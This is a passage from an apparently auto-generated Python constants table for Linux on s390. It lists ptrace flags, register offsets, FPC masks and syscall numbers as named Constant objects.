Constant('PTRACE_O_TRACESYSGOOD',0x00000001)\nPTRACE_O_TRACEFORK = Constant('PTRACE_O_TRACEFORK',0x00000002)\nPTRACE_O_TRACEVFORK = Constant('PTRACE_O_TRACEVFORK',0x00000004)\nPTRACE_O_TRACECLONE = Constant('PTRACE_O_TRACECLONE',0x00000008)\nPTRACE_O_TRACEEXEC = Constant('PTRACE_O_TRACEEXEC',0x00000010)\nPTRACE_O_TRACEVFORKDONE = Constant('PTRACE_O_TRACEVFORKDONE',0x00000020)\nPTRACE_O_TRACEEXIT = Constant('PTRACE_O_TRACEEXIT',0x00000040)\nPTRACE_O_MASK = Constant('PTRACE_O_MASK',0x0000007f)\nPTRACE_EVENT_FORK = Constant('PTRACE_EVENT_FORK',1)\nPTRACE_EVENT_VFORK = Constant('PTRACE_EVENT_VFORK',2)\nPTRACE_EVENT_CLONE = Constant('PTRACE_EVENT_CLONE',3)\nPTRACE_EVENT_EXEC = Constant('PTRACE_EVENT_EXEC',4)\nPTRACE_EVENT_VFORK_DONE = Constant('PTRACE_EVENT_VFORK_DONE',5)\nPTRACE_EVENT_EXIT = Constant('PTRACE_EVENT_EXIT',6)\nPT_TRACE_ME = Constant('PT_TRACE_ME',0)\nPT_READ_I = Constant('PT_READ_I',1)\nPT_READ_D = Constant('PT_READ_D',2)\nPT_READ_U = Constant('PT_READ_U',3)\nPT_WRITE_I = Constant('PT_WRITE_I',4)\nPT_WRITE_D = Constant('PT_WRITE_D',5)\nPT_WRITE_U = Constant('PT_WRITE_U',6)\nPT_CONTINUE = Constant('PT_CONTINUE',7)\nPT_KILL = Constant('PT_KILL',8)\nPT_STEP = Constant('PT_STEP',9)\nPT_ATTACH = Constant('PT_ATTACH',0x10)\nPT_DETACH = Constant('PT_DETACH',0x11)\nPT_PSWMASK = Constant('PT_PSWMASK',0x00)\nPT_PSWADDR = Constant('PT_PSWADDR',0x04)\nPT_GPR0 = Constant('PT_GPR0',0x08)\nPT_GPR1 = Constant('PT_GPR1',0x0C)\nPT_GPR2 = Constant('PT_GPR2',0x10)\nPT_GPR3 = Constant('PT_GPR3',0x14)\nPT_GPR4 = Constant('PT_GPR4',0x18)\nPT_GPR5 = Constant('PT_GPR5',0x1C)\nPT_GPR6 = Constant('PT_GPR6',0x20)\nPT_GPR7 = Constant('PT_GPR7',0x24)\nPT_GPR8 = Constant('PT_GPR8',0x28)\nPT_GPR9 = Constant('PT_GPR9',0x2C)\nPT_GPR10 = Constant('PT_GPR10',0x30)\nPT_GPR11 = Constant('PT_GPR11',0x34)\nPT_GPR12 = Constant('PT_GPR12',0x38)\nPT_GPR13 = Constant('PT_GPR13',0x3C)\nPT_GPR14 = Constant('PT_GPR14',0x40)\nPT_GPR15 = Constant('PT_GPR15',0x44)\nPT_ACR0 = Constant('PT_ACR0',0x48)\nPT_ACR1 = Constant('PT_ACR1',0x4C)\nPT_ACR2 = Constant('PT_ACR2',0x50)\nPT_ACR3 = Constant('PT_ACR3',0x54)\nPT_ACR4 = Constant('PT_ACR4',0x58)\nPT_ACR5 = Constant('PT_ACR5',0x5C)\nPT_ACR6 = Constant('PT_ACR6',0x60)\nPT_ACR7 = Constant('PT_ACR7',0x64)\nPT_ACR8 = Constant('PT_ACR8',0x68)\nPT_ACR9 = Constant('PT_ACR9',0x6C)\nPT_ACR10 = Constant('PT_ACR10',0x70)\nPT_ACR11 = Constant('PT_ACR11',0x74)\nPT_ACR12 = Constant('PT_ACR12',0x78)\nPT_ACR13 = Constant('PT_ACR13',0x7C)\nPT_ACR14 = Constant('PT_ACR14',0x80)\nPT_ACR15 = Constant('PT_ACR15',0x84)\nPT_ORIGGPR2 = Constant('PT_ORIGGPR2',0x88)\nPT_FPC = Constant('PT_FPC',0x90)\nPT_FPR0_HI = Constant('PT_FPR0_HI',0x98)\nPT_FPR0_LO = Constant('PT_FPR0_LO',0x9C)\nPT_FPR1_HI = Constant('PT_FPR1_HI',0xA0)\nPT_FPR1_LO = Constant('PT_FPR1_LO',0xA4)\nPT_FPR2_HI = Constant('PT_FPR2_HI',0xA8)\nPT_FPR2_LO = Constant('PT_FPR2_LO',0xAC)\nPT_FPR3_HI = Constant('PT_FPR3_HI',0xB0)\nPT_FPR3_LO = Constant('PT_FPR3_LO',0xB4)\nPT_FPR4_HI = Constant('PT_FPR4_HI',0xB8)\nPT_FPR4_LO = Constant('PT_FPR4_LO',0xBC)\nPT_FPR5_HI = Constant('PT_FPR5_HI',0xC0)\nPT_FPR5_LO = Constant('PT_FPR5_LO',0xC4)\nPT_FPR6_HI = Constant('PT_FPR6_HI',0xC8)\nPT_FPR6_LO = Constant('PT_FPR6_LO',0xCC)\nPT_FPR7_HI = Constant('PT_FPR7_HI',0xD0)\nPT_FPR7_LO = Constant('PT_FPR7_LO',0xD4)\nPT_FPR8_HI = Constant('PT_FPR8_HI',0xD8)\nPT_FPR8_LO = Constant('PT_FPR8_LO',0XDC)\nPT_FPR9_HI = Constant('PT_FPR9_HI',0xE0)\nPT_FPR9_LO = Constant('PT_FPR9_LO',0xE4)\nPT_FPR10_HI = Constant('PT_FPR10_HI',0xE8)\nPT_FPR10_LO = Constant('PT_FPR10_LO',0xEC)\nPT_FPR11_HI = Constant('PT_FPR11_HI',0xF0)\nPT_FPR11_LO = Constant('PT_FPR11_LO',0xF4)\nPT_FPR12_HI = Constant('PT_FPR12_HI',0xF8)\nPT_FPR12_LO = Constant('PT_FPR12_LO',0xFC)\nPT_FPR13_HI = Constant('PT_FPR13_HI',0x100)\nPT_FPR13_LO = Constant('PT_FPR13_LO',0x104)\nPT_FPR14_HI = Constant('PT_FPR14_HI',0x108)\nPT_FPR14_LO = Constant('PT_FPR14_LO',0x10C)\nPT_FPR15_HI = Constant('PT_FPR15_HI',0x110)\nPT_FPR15_LO = Constant('PT_FPR15_LO',0x114)\nPT_CR_9 = Constant('PT_CR_9',0x118)\nPT_CR_10 = Constant('PT_CR_10',0x11C)\nPT_CR_11 = Constant('PT_CR_11',0x120)\nPT_IEEE_IP = Constant('PT_IEEE_IP',0x13C)\nPT_LASTOFF = Constant('PT_LASTOFF',0x13C)\nPT_ENDREGS = Constant('PT_ENDREGS',0x140-1)\nNUM_GPRS = Constant('NUM_GPRS',16)\nNUM_FPRS = Constant('NUM_FPRS',16)\nNUM_CRS = Constant('NUM_CRS',16)\nNUM_ACRS = Constant('NUM_ACRS',16)\nGPR_SIZE = Constant('GPR_SIZE',4)\nFPR_SIZE = Constant('FPR_SIZE',8)\nFPC_SIZE = Constant('FPC_SIZE',4)\nFPC_PAD_SIZE = Constant('FPC_PAD_SIZE',4)\nCR_SIZE = Constant('CR_SIZE',4)\nACR_SIZE = Constant('ACR_SIZE',4)\nSTACK_FRAME_OVERHEAD = Constant('STACK_FRAME_OVERHEAD',96)\nFPC_EXCEPTION_MASK = Constant('FPC_EXCEPTION_MASK',0xF8000000)\nFPC_FLAGS_MASK = Constant('FPC_FLAGS_MASK',0x00F80000)\nFPC_DXC_MASK = Constant('FPC_DXC_MASK',0x0000FF00)\nFPC_RM_MASK = Constant('FPC_RM_MASK',0x00000003)\nFPC_VALID_MASK = Constant('FPC_VALID_MASK',0xF8F8FF03)\nPER_EM_MASK = Constant('PER_EM_MASK',0xE8000000)\nPTRACE_PEEKUSR_AREA = Constant('PTRACE_PEEKUSR_AREA',0x5000)\nPTRACE_POKEUSR_AREA = Constant('PTRACE_POKEUSR_AREA',0x5001)\nPTRACE_PEEKTEXT_AREA = Constant('PTRACE_PEEKTEXT_AREA',0x5002)\nPTRACE_PEEKDATA_AREA = Constant('PTRACE_PEEKDATA_AREA',0x5003)\nPTRACE_POKETEXT_AREA = Constant('PTRACE_POKETEXT_AREA',0x5004)\nPTRACE_POKEDATA_AREA = Constant('PTRACE_POKEDATA_AREA',0x5005)\nPTRACE_PROT = Constant('PTRACE_PROT',21)\nS390_SYSCALL_SIZE = Constant('S390_SYSCALL_SIZE',2)\nSYS_accept4 = Constant('SYS_accept4',364)\nSYS_access = Constant('SYS_access',33)\nSYS_acct = Constant('SYS_acct',51)\nSYS_add_key = Constant('SYS_add_key',278)\nSYS_adjtimex = Constant('SYS_adjtimex',124)\nSYS_afs_syscall = Constant('SYS_afs_syscall',137)\nSYS_alarm = Constant('SYS_alarm',27)\nSYS_bdflush = Constant('SYS_bdflush',134)\nSYS_bind = Constant('SYS_bind',361)\nSYS_bpf = Constant('SYS_bpf',351)\nSYS_brk = Constant('SYS_brk',45)\nSYS_capget = Constant('SYS_capget',184)\nSYS_capset = Constant('SYS_capset',185)\nSYS_chdir = Constant('SYS_chdir',12)\nSYS_chmod = Constant('SYS_chmod',15)\nSYS_chown = Constant('SYS_chown',182)\nSYS_chown32 = Constant('SYS_chown32',212)\nSYS_chroot = Constant('SYS_chroot',61)\nSYS_clock_adjtime = Constant('SYS_clock_adjtime',337)\nSYS_clock_adjtime64 = Constant('SYS_clock_adjtime64',405)\nSYS_clock_getres = Constant('SYS_clock_getres',(254+7))\nSYS_clock_getres_time64 = Constant('SYS_clock_getres_time64',406)\nSYS_clock_gettime = Constant('SYS_clock_gettime',(254+6))\nSYS_clock_gettime64 = Constant('SYS_clock_gettime64',403)\nSYS_clock_nanosleep = Constant('SYS_clock_nanosleep',(254+8))\nSYS_clock_nanosleep_time64 = Constant('SYS_clock_nanosleep_time64',407)\nSYS_clock_settime = Constant('SYS_clock_settime',(254+5))\nSYS_clock_settime64 = Constant('SYS_clock_settime64',404)\nSYS_clone = Constant('SYS_clone',120)\nSYS_clone3 = Constant('SYS_clone3',435)\nSYS_close = Constant('SYS_close',6)\nSYS_connect = Constant('SYS_connect',362)\nSYS_copy_file_range = Constant('SYS_copy_file_range',375)\nSYS_creat = Constant('SYS_creat',8)\nSYS_create_module = Constant('SYS_create_module',127)\nSYS_delete_module = Constant('SYS_delete_module',129)\nSYS_dup = Constant('SYS_dup',41)\nSYS_dup2 = Constant('SYS_dup2',63)\nSYS_dup3 = Constant('SYS_dup3',326)\nSYS_epoll_create = Constant('SYS_epoll_create',249)\nSYS_epoll_create1 = Constant('SYS_epoll_create1',327)\nSYS_epoll_ctl = Constant('SYS_epoll_ctl',250)\nSYS_epoll_pwait = Constant('SYS_epoll_pwait',312)\nSYS_epoll_wait = Constant('SYS_epoll_wait',251)\nSYS_eventfd = Constant('SYS_eventfd',318)\nSYS_eventfd2 = Constant('SYS_eventfd2',323)\nSYS_execve = Constant('SYS_execve',11)\nSYS_execveat = Constant('SYS_execveat',354)\nSYS_exit = Constant('SYS_exit',1)\nSYS_exit_group = Constant('SYS_exit_group',248)\nSYS_faccessat = Constant('SYS_faccessat',300)\nSYS_fadvise64 = Constant('SYS_fadvise64',253)\nSYS_fadvise64_64 = Constant('SYS_fadvise64_64',264)\nSYS_fallocate = Constant('SYS_fallocate',314)\nSYS_fanotify_init = Constant('SYS_fanotify_init',332)\nSYS_fanotify_mark = Constant('SYS_fanotify_mark',333)\nSYS_fchdir = Constant('SYS_fchdir',133)\nSYS_fchmod = Constant('SYS_fchmod',94)\nSYS_fchmodat = Constant('SYS_fchmodat',299)\nSYS_fchown = Constant('SYS_fchown',95)\nSYS_fchown32 = Constant('SYS_fchown32',207)\nSYS_fchownat = Constant('SYS_fchownat',291)\nSYS_fcntl = Constant('SYS_fcntl',55)\nSYS_fcntl64 = Constant('SYS_fcntl64',221)\nSYS_fdatasync = Constant('SYS_fdatasync',148)\nSYS_fgetxattr = Constant('SYS_fgetxattr',229)\nSYS_finit_module = Constant('SYS_finit_module',344)\nSYS_flistxattr = Constant('SYS_flistxattr',232)\nSYS_flock = Constant('SYS_flock',143)\nSYS_fork = Constant('SYS_fork',2)\nSYS_fremovexattr = Constant('SYS_fremovexattr',235)\nSYS_fsconfig = Constant('SYS_fsconfig',431)\nSYS_fsetxattr = Constant('SYS_fsetxattr',226)\nSYS_fsmount = Constant('SYS_fsmount',432)\nSYS_fsopen = Constant('SYS_fsopen',430)\nSYS_fspick = Constant('SYS_fspick',433)\nSYS_fstat = Constant('SYS_fstat',108)\nSYS_fstat64 = Constant('SYS_fstat64',197)\nSYS_fstatat64 = Constant('SYS_fstatat64',293)\nSYS_fstatfs = Constant('SYS_fstatfs',100)\nSYS_fstatfs64 = Constant('SYS_fstatfs64',266)\nSYS_fsync = Constant('SYS_fsync',118)\nSYS_ftruncate = Constant('SYS_ftruncate',93)\nSYS_ftruncate64 = Constant('SYS_ftruncate64',194)\nSYS_futex = Constant('SYS_futex',238)\nSYS_futex_time64 = Constant('SYS_futex_time64',422)\nSYS_futimesat = Constant('SYS_futimesat',292)\nSYS_getcpu = Constant('SYS_getcpu',311)\nSYS_getcwd = Constant('SYS_getcwd',183)\nSYS_getdents = Constant('SYS_getdents',141)\nSYS_getdents64 = Constant('SYS_getdents64',220)\nSYS_getegid = Constant('SYS_getegid',50)\nSYS_getegid32 = Constant('SYS_getegid32',202)\nSYS_geteuid = Constant('SYS_geteuid',49)\nSYS_geteuid32 = Constant('SYS_geteuid32',201)\nSYS_getgid = Constant('SYS_getgid',47)\nSYS_getgid32 = Constant('SYS_getgid32',200)\nSYS_getgroups = Constant('SYS_getgroups',80)\nSYS_getgroups32 = Constant('SYS_getgroups32',205)\nSYS_getitimer = Constant('SYS_getitimer',105)\nSYS_get_kernel_syms = Constant('SYS_get_kernel_syms',130)\nSYS_get_mempolicy = Constant('SYS_get_mempolicy',269)\nSYS_getpeername = Constant('SYS_getpeername',368)\nSYS_getpgid = Constant('SYS_getpgid',132)\nSYS_getpgrp = Constant('SYS_getpgrp',65)\nSYS_getpid = Constant('SYS_getpid',20)\nSYS_getpmsg = Constant('SYS_getpmsg',188)\nSYS_getppid = Constant('SYS_getppid',64)\nSYS_getpriority = Constant('SYS_getpriority',96)\nSYS_getrandom = Constant('SYS_getrandom',349)\nSYS_getresgid = Constant('SYS_getresgid',171)\nSYS_getresgid32 = Constant('SYS_getresgid32',211)\nSYS_getresuid = Constant('SYS_getresuid',165)\nSYS_getresuid32 = Constant('SYS_getresuid32',209)\nSYS_getrlimit = Constant('SYS_getrlimit',76)\nSYS_get_robust_list = Constant('SYS_get_robust_list',305)\nSYS_getrusage = Constant('SYS_getrusage',77)\nSYS_getsid = Constant('SYS_getsid',147)\nSYS_getsockname = Constant('SYS_getsockname',367)\nSYS_getsockopt = Constant('SYS_getsockopt',365)\nSYS_gettid = Constant('SYS_gettid',236)\nSYS_gettimeofday = Constant('SYS_gettimeofday',78)\nSYS_getuid = Constant('SYS_getuid',24)\nSYS_getuid32 = Constant('SYS_getuid32',199)\nSYS_getxattr = Constant('SYS_getxattr',227)\nSYS_idle = Constant('SYS_idle',112)\nSYS_init_module = Constant('SYS_init_module',128)\nSYS_inotify_add_watch = Constant('SYS_inotify_add_watch',285)\nSYS_inotify_init = Constant('SYS_inotify_init',284)\nSYS_inotify_init1 = Constant('SYS_inotify_init1',324)\nSYS_inotify_rm_watch = Constant('SYS_inotify_rm_watch',286)\nSYS_io_cancel = Constant('SYS_io_cancel',247)\nSYS_ioctl = Constant('SYS_ioctl',54)\nSYS_io_destroy = Constant('SYS_io_destroy',244)\nSYS_io_getevents = Constant('SYS_io_getevents',245)\nSYS_ioperm = Constant('SYS_ioperm',101)\nSYS_io_pgetevents = Constant('SYS_io_pgetevents',382)\nSYS_io_pgetevents_time64 = Constant('SYS_io_pgetevents_time64',416)\nSYS_ioprio_get = Constant('SYS_ioprio_get',283)\nSYS_ioprio_set = Constant('SYS_ioprio_set',282)\nSYS_io_setup = Constant('SYS_io_setup',243)\nSYS_io_submit = Constant('SYS_io_submit',246)\nSYS_io_uring_enter = Constant('SYS_io_uring_enter',426)\nSYS_io_uring_register = Constant('SYS_io_uring_register',427)\nSYS_io_uring_setup = Constant('SYS_io_uring_setup',425)\nSYS_ipc = Constant('SYS_ipc',117)\nSYS_kcmp = Constant('SYS_kcmp',343)\nSYS_kexec_file_load = Constant('SYS_kexec_file_load',381)\nSYS_kexec_load = Constant('SYS_kexec_load',277)\nSYS_keyctl = Constant('SYS_keyctl',280)\nSYS_kill = Constant('SYS_kill',37)\nSYS_lchown = Constant('SYS_lchown',16)\nSYS_lchown32 = Constant('SYS_lchown32',198)\nSYS_lgetxattr = Constant('SYS_lgetxattr',228)\nSYS_link = Constant('SYS_link',9)\nSYS_linkat = Constant('SYS_linkat',296)\nSYS_listen = Constant('SYS_listen',363)\nSYS_listxattr = Constant('SYS_listxattr',230)\nSYS_llistxattr = Constant('SYS_llistxattr',231)\nSYS__llseek = Constant('SYS__llseek',140)\nSYS_lookup_dcookie = Constant('SYS_lookup_dcookie',110)\nSYS_lremovexattr = Constant('SYS_lremovexattr',234)\nSYS_lseek = Constant('SYS_lseek',19)\nSYS_lsetxattr = Constant('SYS_lsetxattr',225)\nSYS_lstat = Constant('SYS_lstat',107)\nSYS_lstat64 = Constant('SYS_lstat64',196)\nSYS_madvise = Constant('SYS_madvise',219)\nSYS_mbind = Constant('SYS_mbind',268)\nSYS_membarrier = Constant('SYS_membarrier',356)\nSYS_memfd_create = Constant('SYS_memfd_create',350)\nSYS_migrate_pages = Constant('SYS_migrate_pages',287)\nSYS_mincore = Constant('SYS_mincore',218)\nSYS_mkdir = Constant('SYS_mkdir',39)\nSYS_mkdirat = Constant('SYS_mkdirat',289)\nSYS_mknod = Constant('SYS_mknod',14)\nSYS_mknodat = Constant('SYS_mknodat',290)\nSYS_mlock = Constant('SYS_mlock',150)\nSYS_mlock2 = Constant('SYS_mlock2',374)\nSYS_mlockall = Constant('SYS_mlockall',152)\nSYS_mmap = Constant('SYS_mmap',90)\nSYS_mmap2 = Constant('SYS_mmap2',192)\nSYS_mount = Constant('SYS_mount',21)\nSYS_move_mount = Constant('SYS_move_mount',429)\nSYS_move_pages = Constant('SYS_move_pages',310)\nSYS_mprotect = Constant('SYS_mprotect',125)\nSYS_mq_getsetattr = Constant('SYS_mq_getsetattr',276)\nSYS_mq_notify = Constant('SYS_mq_notify',275)\nSYS_mq_open = Constant('SYS_mq_open',271)\nSYS_mq_timedreceive = Constant('SYS_mq_timedreceive',274)\nSYS_mq_timedreceive_time64 = Constant('SYS_mq_timedreceive_time64',419)\nSYS_mq_timedsend = Constant('SYS_mq_timedsend',273)\nSYS_mq_timedsend_time64 = Constant('SYS_mq_timedsend_time64',418)\nSYS_mq_unlink = Constant('SYS_mq_unlink',272)\nSYS_mremap = Constant('SYS_mremap',163)\nSYS_msgctl = Constant('SYS_msgctl',402)\nSYS_msgget = Constant('SYS_msgget',399)\nSYS_msgrcv = Constant('SYS_msgrcv',401)\nSYS_msgsnd = Constant('SYS_msgsnd',400)\nSYS_msync = Constant('SYS_msync',144)\nSYS_munlock = Constant('SYS_munlock',151)\nSYS_munlockall = Constant('SYS_munlockall',153)\nSYS_munmap = Constant('SYS_munmap',91)\nSYS_name_to_handle_at = Constant('SYS_name_to_handle_at',335)\nSYS_nanosleep = Constant('SYS_nanosleep',162)\nSYS__newselect = Constant('SYS__newselect',142)\nSYS_nfsservctl = Constant('SYS_nfsservctl',169)\nSYS_nice = Constant('SYS_nice',34)\nSYS_open = Constant('SYS_open',5)\nSYS_openat = Constant('SYS_openat',288)\nSYS_openat2 = Constant('SYS_openat2',437)\nSYS_open_by_handle_at = Constant('SYS_open_by_handle_at',336)\nSYS_open_tree = Constant('SYS_open_tree',428)\nSYS_pause = Constant('SYS_pause',29)\nSYS_perf_event_open = Constant('SYS_perf_event_open',331)\nSYS_personality = Constant('SYS_personality',136)\nSYS_pidfd_getfd = Constant('SYS_pidfd_getfd',438)\nSYS_pidfd_open = Constant('SYS_pidfd_open',434)\nSYS_pidfd_send_signal = Constant('SYS_pidfd_send_signal',424)\nSYS_pipe = Constant('SYS_pipe',42)\nSYS_pipe2 = Constant('SYS_pipe2',325)\nSYS_pivot_root = Constant('SYS_pivot_root',217)\nSYS_pkey_alloc = Constant('SYS_pkey_alloc',385)\nSYS_pkey_free = Constant('SYS_pkey_free',386)\nSYS_pkey_mprotect = Constant('SYS_pkey_mprotect',384)\nSYS_poll = Constant('SYS_poll',168)\nSYS_ppoll = Constant('SYS_ppoll',302)\nSYS_ppoll_time64 = Constant('SYS_ppoll_time64',414)\nSYS_prctl = Constant('SYS_prctl',172)\nSYS_pread64 = Constant('SYS_pread64',180)\nSYS_preadv = Constant('SYS_preadv',328)\nSYS_preadv2 = Constant('SYS_preadv2',376)\nSYS_prlimit64 = Constant('SYS_prlimit64',334)\nSYS_process_vm_readv = Constant('SYS_process_vm_readv',340)\nSYS_process_vm_writev = Constant('SYS_process_vm_writev',341)\nSYS_pselect6 = Constant('SYS_pselect6',301)\nSYS_pselect6_time64 = Constant('SYS_pselect6_time64',413)\nSYS_ptrace = Constant('SYS_ptrace',26)\nSYS_putpmsg = Constant('SYS_putpmsg',189)\nSYS_pwrite64 = Constant('SYS_pwrite64',181)\nSYS_pwritev = Constant('SYS_pwritev',329)\nSYS_pwritev2 = Constant('SYS_pwritev2',377)\nSYS_query_module = Constant('SYS_query_module',167)\nSYS_quotactl = Constant('SYS_quotactl',131)\nSYS_read = Constant('SYS_read',3)\nSYS_readahead = Constant('SYS_readahead',222)\nSYS_readdir = Constant('SYS_readdir',89)\nSYS_readlink = Constant('SYS_readlink',85)\nSYS_readlinkat = Constant('SYS_readlinkat',298)\nSYS_readv = Constant('SYS_readv',145)\nSYS_reboot = Constant('SYS_reboot',88)\nSYS_recvfrom = Constant('SYS_recvfrom',371)\nSYS_recvmmsg = Constant('SYS_recvmmsg',357)\nSYS_recvmmsg_time64 = Constant('SYS_recvmmsg_time64',417)\nSYS_recvmsg = Constant('SYS_recvmsg',372)\nSYS_remap_file_pages = Constant('SYS_remap_file_pages',267)\nSYS_removexattr = Constant('SYS_removexattr',233)\nSYS_rename = Constant('SYS_rename',38)\nSYS_renameat = Constant('SYS_renameat',295)\nSYS_renameat2 = Constant('SYS_renameat2',347)\nSYS_request_key = Constant('SYS_request_key',279)\nSYS_restart_syscall = Constant('SYS_restart_syscall',7)\nSYS_rmdir = Constant('SYS_rmdir',40)\nSYS_rseq = Constant('SYS_rseq',383)\nSYS_rt_sigaction = Constant('SYS_rt_sigaction',174)\nSYS_rt_sigpending = Constant('SYS_rt_sigpending',176)\nSYS_rt_sigprocmask = Constant('SYS_rt_sigprocmask',175)\nSYS_rt_sigqueueinfo = Constant('SYS_rt_sigqueueinfo',178)\nSYS_rt_sigreturn = Constant('SYS_rt_sigreturn',173)\nSYS_rt_sigsuspend = Constant('SYS_rt_sigsuspend',179)\nSYS_rt_sigtimedwait = Constant('SYS_rt_sigtimedwait',177)\nSYS_rt_sigtimedwait_time64 = Constant('SYS_rt_sigtimedwait_time64',421)\nSYS_rt_tgsigqueueinfo = Constant('SYS_rt_tgsigqueueinfo',330)\nSYS_s390_guarded_storage = Constant('SYS_s390_guarded_storage',378)\nSYS_s390_pci_mmio_read = Constant('SYS_s390_pci_mmio_read',353)\nSYS_s390_pci_mmio_write = Constant('SYS_s390_pci_mmio_write',352)\nSYS_s390_runtime_instr = Constant('SYS_s390_runtime_instr',342)\nSYS_s390_sthyi = Constant('SYS_s390_sthyi',380)\nSYS_sched_getaffinity = Constant('SYS_sched_getaffinity',240)\nSYS_sched_getattr = Constant('SYS_sched_getattr',346)\nSYS_sched_getparam = Constant('SYS_sched_getparam',155)\nSYS_sched_get_priority_max = Constant('SYS_sched_get_priority_max',159)\nSYS_sched_get_priority_min = Constant('SYS_sched_get_priority_min',160)\nSYS_sched_getscheduler = Constant('SYS_sched_getscheduler',157)\nSYS_sched_rr_get_interval = Constant('SYS_sched_rr_get_interval',161)\nSYS_sched_rr_get_interval_time64 = Constant('SYS_sched_rr_get_interval_time64',423)\nSYS_sched_setaffinity = Constant('SYS_sched_setaffinity',239)\nSYS_sched_setattr = Constant('SYS_sched_setattr',345)\nSYS_sched_setparam = Constant('SYS_sched_setparam',154)\nSYS_sched_setscheduler = Constant('SYS_sched_setscheduler',156)\nSYS_sched_yield = Constant('SYS_sched_yield',158)\nSYS_seccomp = Constant('SYS_seccomp',348)\nSYS_semctl = Constant('SYS_semctl',394)\nSYS_semget = Constant('SYS_semget',393)\nSYS_semtimedop_time64 = Constant('SYS_semtimedop_time64',420)\nSYS_sendfile = Constant('SYS_sendfile',187)\nSYS_sendfile64 = Constant('SYS_sendfile64',223)\nSYS_sendmmsg = Constant('SYS_sendmmsg',358)\nSYS_sendmsg = Constant('SYS_sendmsg',370)\nSYS_sendto = Constant('SYS_sendto',369)\nSYS_setdomainname = Constant('SYS_setdomainname',121)\nSYS_setfsgid = Constant('SYS_setfsgid',139)\nSYS_setfsgid32 = Constant('SYS_setfsgid32',216)\nSYS_setfsuid = Constant('SYS_setfsuid',138)\nSYS_setfsuid32 = Constant('SYS_setfsuid32',215)\nSYS_setgid = Constant('SYS_setgid',46)\nSYS_setgid32 = Constant('SYS_setgid32',214)\nSYS_setgroups = Constant('SYS_setgroups',81)\nSYS_setgroups32 = Constant('SYS_setgroups32',206)\nSYS_sethostname = Constant('SYS_sethostname',74)\nSYS_setitimer = Constant('SYS_setitimer',104)\nSYS_set_mempolicy = Constant('SYS_set_mempolicy',270)\nSYS_setns = Constant('SYS_setns',339)\nSYS_setpgid = Constant('SYS_setpgid',57)\nSYS_setpriority = Constant('SYS_setpriority',97)\nSYS_setregid = Constant('SYS_setregid',71)\nSYS_setregid32 = Constant('SYS_setregid32',204)\nSYS_setresgid = Constant('SYS_setresgid',170)\nSYS_setresgid32 = Constant('SYS_setresgid32',210)\nSYS_setresuid = Constant('SYS_setresuid',164)\nSYS_setresuid32 = Constant('SYS_setresuid32',208)\nSYS_setreuid = Constant('SYS_setreuid',70)\nSYS_setreuid32 = Constant('SYS_setreuid32',203)\nSYS_setrlimit = Constant('SYS_setrlimit',75)\nSYS_set_robust_list = Constant('SYS_set_robust_list',304)\nSYS_setsid = Constant('SYS_setsid',66)\nSYS_setsockopt = Constant('SYS_setsockopt',366)\nSYS_set_tid_address = Constant('SYS_set_tid_address',252)\nSYS_settimeofday = Constant('SYS_settimeofday',79)\nSYS_setuid = Constant('SYS_setuid',23)\nSYS_setuid32 = Constant('SYS_setuid32',213)\nSYS_setxattr = Constant('SYS_setxattr',224)\nSYS_shmat = Constant('SYS_shmat',397)\nSYS_shmctl = Constant('SYS_shmctl',396)\nSYS_shmdt = Constant('SYS_shmdt',398)\nSYS_shmget = Constant('SYS_shmget',395)\nSYS_shutdown = Constant('SYS_shutdown',373)\nSYS_sigaction = Constant('SYS_sigaction',67)\nSYS_sigaltstack = Constant('SYS_sigaltstack',186)\nSYS_signal = Constant('SYS_signal',48)\nSYS_signalfd = Constant('SYS_signalfd',316)\nSYS_signalfd4 = Constant('SYS_signalfd4',322)\nSYS_sigpending = Constant('SYS_sigpending',73)\nSYS_sigprocmask = Constant('SYS_sigprocmask',126)\nSYS_sigreturn = Constant('SYS_sigreturn',119)\nSYS_sigsuspend = Constant('SYS_sigsuspend',72)\nSYS_socket = Constant('SYS_socket',359)\nSYS_socketcall = Constant('SYS_socketcall',102)\nSYS_socketpair = Constant('SYS_socketpair',360)\nSYS_splice = Constant('SYS_splice',306)\nSYS_stat = Constant('SYS_stat',106)\nSYS_stat64 = Constant('SYS_stat64',195)\nSYS_statfs = Constant('SYS_statfs',99)\nSYS_statfs64 = Constant('SYS_statfs64',265)\nSYS_statx = Constant('SYS_statx',379)\nSYS_stime = Constant('SYS_stime',25)\nSYS_swapoff = Constant('SYS_swapoff',115)\nSYS_swapon = Constant('SYS_swapon',87)\nSYS_symlink = Constant('SYS_symlink',83)\nSYS_symlinkat = Constant('SYS_symlinkat',297)\nSYS_sync = Constant('SYS_sync',36)\nSYS_sync_file_range = Constant('SYS_sync_file_range',307)\nSYS_syncfs = Constant('SYS_syncfs',338)\nSYS__sysctl = Constant('SYS__sysctl',149)\nSYS_sysfs = Constant('SYS_sysfs',135)\nSYS_sysinfo = Constant('SYS_sysinfo',116)\nSYS_syslog = Constant('SYS_syslog',103)\nSYS_tee = Constant('SYS_tee',308)\nSYS_tgkill = Constant('SYS_tgkill',241)\nSYS_time = Constant('SYS_time',13)\nSYS_timer_create = Constant('SYS_timer_create',254)\nSYS_timer_delete = Constant('SYS_timer_delete',(254+4))\nSYS_timerfd = Constant('SYS_timerfd',317)\nSYS_timerfd_create = Constant('SYS_timerfd_create',319)\nSYS_timerfd_gettime = Constant('SYS_timerfd_gettime',321)\nSYS_timerfd_gettime64 = Constant('SYS_timerfd_gettime64',410)\nSYS_timerfd_settime = Constant('SYS_timerfd_settime',320)\nSYS_timerfd_settime64 = Constant('SYS_timerfd_settime64',411)\nSYS_timer_getoverrun = Constant('SYS_timer_getoverrun',(254+3))\nSYS_timer_gettime = Constant('SYS_timer_gettime',(254+2))\nSYS_timer_gettime64 = Constant('SYS_timer_gettime64',408)\nSYS_timer_settime = Constant('SYS_timer_settime',(254+1))\nSYS_timer_settime64 = Constant('SYS_timer_settime64',409)\nSYS_times = Constant('SYS_times',43)\nSYS_tkill = Constant('SYS_tkill',237)\nSYS_truncate = Constant('SYS_truncate',92)\nSYS_truncate64 = Constant('SYS_truncate64',193)\nSYS_ugetrlimit = Constant('SYS_ugetrlimit',191)\nSYS_umask = Constant('SYS_umask',60)\nSYS_umount = Constant('SYS_umount',22)\nSYS_umount2 = Constant('SYS_umount2',52)\nSYS_uname = Constant('SYS_uname',122)\nSYS_unlink = Constant('SYS_unlink',10)\nSYS_unlinkat = Constant('SYS_unlinkat',294)\nSYS_unshare = Constant('SYS_unshare',303)\nSYS_uselib = Constant('SYS_uselib',86)\nSYS_userfaultfd = Constant('SYS_userfaultfd',355)\nSYS_ustat = Constant('SYS_ustat',62)\nSYS_utime = Constant('SYS_utime',30)\nSYS_utimensat = 